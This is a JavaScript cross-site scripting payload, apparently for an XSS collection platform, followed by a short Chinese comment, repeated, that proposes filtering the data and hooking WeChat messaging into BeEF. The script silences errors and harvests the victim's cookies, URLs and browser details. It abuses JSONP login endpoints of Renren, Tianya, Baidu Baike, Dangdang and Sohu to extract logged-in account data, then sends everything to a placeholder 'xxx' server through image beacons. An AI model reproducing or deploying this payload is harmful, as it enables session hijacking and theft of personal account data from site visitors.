window.onerror = function () {
return true;
}
http_server = 'http://xxx/index.php?do=api&id={projectId}&content=';
var info = {
};
info.browser = function () {
ua = navigator.userAgent.toLowerCase();
var rwebkit = /(webkit)[ \/]([\w.]+)/;
var ropera = /(opera)(?:.*version)?[ \/]([\w.]+)/;
var rmsie = /(msie) ([\w.]+)/;
var rmozilla = /(mozilla)(?:.*? rv:([\w.]+))?/;
var match = rwebkit.exec(ua) || ropera.exec(ua) || rmsie.exec(ua) || ua.indexOf('compatible') < 0 && rmozilla.exec(ua) || [];
return {
name: match[1] || '',
version: match[2] || '0'
};
}();
info.url = document.location.href;
info.ua = escape(navigator.userAgent);
info.lang = navigator.language;
info.referrer = document.referrer;
info.location = window.location.href;
info.toplocation = top.location.href;
info.cookie = escape(document.cookie);
info.domain = document.domain;
info.title = document.title;
info.screen = function () {
var c = '';
if (self.screen) {
c = screen.width + 'x' + screen.height;
}
return c;
}();
info.flash = function () {
var f = '',
n = navigator;
if (n.plugins && n.plugins.length) {
for (var ii = 0; ii < n.plugins.length; ii++) {
if (n.plugins[ii].name.indexOf('Shockwave Flash') != - 1) {
f = n.plugins[ii].description.split('Shockwave Flash ') [1];
break;
}
}
} else if (window.ActiveXObject) {
for (var ii = 10; ii >= 2; ii--) {
try {
var fl = eval('new ActiveXObject(\'ShockwaveFlash.ShockwaveFlash.' + ii + '\');');
if (fl) {
f = ii + '.0';
break;
}
} catch (e) {
}
}
}
return f;
}();
function inj_script(a, b) {
var o = document.createElement('script');
o.src = a;
if (b) {
if (!window.ActiveXObject) {
o.onload = b;
} else {
o.onreadystatechange = function () {
if (o.readyState == 'loaded' || o.readyState == 'complete') {
b();
}
}
}
}
document.getElementsByTagName('body') [0].appendChild(o);
return o;
}
function json2str(o) {
if (typeof o == 'string') return o;
var arr = [
];
var fmt = function (s) {
if (typeof s == 'object' && s != null) return json2str(s);
return /^(string|number)$/.test(typeof s) ? '\'' + s + '\'' : s;
}
for (var i in o) arr.push('\'' + i + '\':' + fmt(o[i]));
return '{' + arr.join(',') + '}';
}
renren_yx_base = function (o) {
if (o.status == 1) {
new Image().src = http_server + escape(json2str(o)) + '&content2=renren_yx_base';
}
}
renren_game_passport = function (o) {
if (o.result == 'true') {
new Image().src = http_server + escape(json2str(o)) + '&content2=renren_game_passport';
}
}
tianya_passport = function (o, s) {
if (o) {
new Image().src = http_server + escape(json2str(o + ';' + s)) + '&content2=tianya_passport';
}
}
baidu_baike = function (o) {
if (o.login) {
new Image().src = http_server + escape(json2str(o)) + '&content2=baidu_baike';
}
}
dangdang_commapi = function (o) {
if (o.customer_id > 0) {
new Image().src = http_server + escape(json2str(o)) + '&content2=dangdang_commapi';
}
}
var img = new Image();
img.src = '#';
img.onerror = function () {
new Image().src = http_server + escape(json2str(info)) + '&content2=info%20';
try {
inj_script('http://base.yx.renren.com/RestAPI?method=api.base.getLoginUser&format=2&callback=renren_yx_base');
} catch (e) {
}
try {
inj_script('http://passport.game.renren.com/user/info?callback=renren_game_passport');
} catch (e) {
}
try {
inj_script('http://passport.tianya.cn/online/checkuseronline.jsp?callback=tianya_passport');
} catch (e) {
}
try {
inj_script('http://baike.baidu.com/api/login/?callback=baidu_baike');
} catch (e) {
}
try {
inj_script('http://commapi.dangdang.com/api/toolbar_ads_api.php?jsoncallback=dangdang_commapi');
} catch (e) {
}
try {
inj_script('http://uis.i.sohu.com/api/passport.jsp?from=roll&_=1361671333278');
} catch (e) {
}
setTimeout(function () {
var o = [
_passport
];
if (_passport.length > 0) {
new Image().src = http_server + escape(json2str(o)) + '&content2=sohu_i_uis';
}
}, 3000);
};
获取的信息都未经验证都提交到服务器了,需要对获取的信息进行了简单的验证,未登录的信息就不用提交了,对于一些不怎么重要的信息callback地址去除。
小的提议:感觉邮箱提醒的延时还是挺大的,感觉微信公共平台的客服消息还是挺快的,可以说瞬间提醒吧。如果把微信公共平台的客服消息整合到beef中,通过客服消息和beef进行互动发送指令感觉就很方便快捷了。
小的提议:感觉邮箱提醒的延时还是挺大的,感觉微信公共平台的客服消息还是挺快的,可以说瞬间提醒吧。如果把微信公共平台的客服消息整合到beef中,通过客服消息和beef进行互动发送指令感觉就很方便快捷了。